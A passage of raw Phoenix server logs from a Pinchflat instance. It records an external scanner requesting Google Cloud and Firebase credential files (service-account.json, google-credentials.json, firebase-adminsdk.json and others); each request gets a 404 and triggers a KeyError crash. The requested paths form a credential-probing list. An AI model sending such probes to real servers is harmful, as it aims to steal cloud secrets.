"GMVDB9AuD0dwMEcAAdzC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9811.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47264}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9811.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-account.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47264}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9812.0>, params: %{}, path_info: ["service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalid (truncated) 15:22:08.395 [info] GET /google-credentials.json 15:22:08.395 [debug] QUERY OK source="settings" db=0.1ms idle=711.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.395 [debug] QUERY OK source="settings" db=0.0ms idle=474.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.395 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:08.395 [error] #PID<0.9814.0> running PinchflatWeb.Endpoint (connection #PID<0.9813.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /google-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9813.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47280}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9814.0>, params: %{}, path_info: ["google-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/google-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB95HYANP3ewAAd0C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9813.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47280}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9813.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47280}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9814.0>, params: %{}, path_info: ["google-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/google-credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "ma (truncated) 15:22:08.633 [info] GET /google-cloud-key.json 15:22:08.634 [debug] QUERY OK source="settings" db=0.1ms idle=474.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.634 [debug] QUERY OK source="settings" db=0.0ms idle=474.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.634 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:08.634 [error] #PID<0.9816.0> running PinchflatWeb.Endpoint (connection #PID<0.9815.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /google-cloud-key.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-cloud-key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9815.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-cloud-key.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47288}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9816.0>, params: %{}, path_info: ["google-cloud-key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/google-cloud-key.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB-x-1R7OuScAA41B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9815.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-cloud-key.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47288}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /google-cloud-key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9815.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/google-cloud-key.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47288}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9816.0>, params: %{}, path_info: ["google-cloud-key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/google-cloud-key.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, mu (truncated) 15:22:08.872 [info] GET /firebase-adminsdk.json 15:22:08.873 [debug] QUERY OK source="settings" db=0.0ms idle=477.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.873 [debug] QUERY OK source="settings" db=0.0ms idle=477.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:08.873 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:08.873 [error] #PID<0.9818.0> running PinchflatWeb.Endpoint (connection #PID<0.9817.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /firebase-adminsdk.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-adminsdk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9817.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-adminsdk.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47292}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9818.0>, params: %{}, path_info: ["firebase-adminsdk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/firebase-adminsdk.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDB_q8uj1GzYEAAIdD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9817.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-adminsdk.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47292}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-adminsdk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9817.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-adminsdk.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47292}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9818.0>, params: %{}, path_info: ["firebase-adminsdk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/firebase-adminsdk.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, p (truncated) 15:22:09.110 [info] GET /firebase-credentials.json 15:22:09.110 [debug] QUERY OK source="settings" db=0.1ms idle=582.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.110 [debug] QUERY OK source="settings" db=0.0ms idle=476.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:09.111 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:09.111 [error] #PID<0.9820.0> running PinchflatWeb.Endpoint (connection #PID<0.9819.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /firebase-credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9819.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-credentials.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47296}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9820.0>, params: %{}, path_info: ["firebase-credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, 